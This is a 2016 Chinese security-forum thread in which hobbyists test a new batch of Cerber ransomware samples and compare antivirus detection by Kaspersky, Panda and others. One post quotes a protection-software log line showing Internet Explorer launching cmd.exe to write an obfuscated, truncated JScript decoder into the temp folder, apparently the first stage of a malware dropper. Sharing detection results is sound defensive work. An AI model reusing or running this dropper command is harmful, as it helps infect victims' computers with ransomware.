cerber刚刚更新，第二弹

显示全部楼层 · 发表于 2016-12-9 22:09:29

玩不了

显示全部楼层 · 发表于 2016-12-9 22:21:51

卡巴又过了

显示全部楼层 · 发表于 2016-12-9 22:52:44

拦截

显示全部楼层 · 发表于 2016-12-9 22:57:30

显示全部楼层 · 发表于 2016-12-9 22:58:04

本帖最后由 liulangzhecgr 于 2016-12-9 23:01 编辑

2016/12/9 22:53:37 创建新进程允许
进程: c:\program files\internet explorer\iexplore.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd.exe /q /c cd /d "%tmp%" && echo function O(n,g){for(var c=0,s=String,d,D="pu"+"sh",b=[],i=[],r=255,a=0;r+1^>a;a++)b[a]=a;for(a=0;r+1^>a;a++)c=c+b[a]+g[v](a%g.length)^&r,d=b[a],b[a]=b[c],b[c]=d;for(var e=c=a=0,S="fromCharCode";e^<n.length;e++)a=a+1^&r,c=c+
规则: [应用程序]*

显示全部楼层 · 发表于 2016-12-9 23:17:55

Panda 今天竟然没有 miss !

扫描 miss
双击 [mw_shl_code=css,true]检测到病毒 W32/Exploit.gen 位置：C:\Documents and Settings\Administrator\My Documents\Downloads\rad34B10.tmp\rad34B10.tmp.exe 2016-12-9 23:15 已抑制 [/mw_shl_code]

显示全部楼层 · 发表于 2016-12-9 23:27:58

今晚更新了一波BSS特征
然后双击样本2

显示全部楼层 · 发表于 2016-12-9 23:46:03

pal家族发表于 2016-12-9 23:27
今晚更新了一波BSS特征
然后双击样本2

发现一个大杀器，快去玩玩

显示全部楼层 · 发表于 2016-12-9 23:47:38

windows7爱好者发表于 2016-12-9 23:46
发现一个大杀器，快去玩玩

没得玩。
已经明确入库的，用排除大法实在太麻烦

显示全部楼层 · 发表于 2016-12-10 00:19:12

卡巴杀了现在入库速度这么快？

[病毒样本] cerber刚刚更新，第二弹

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源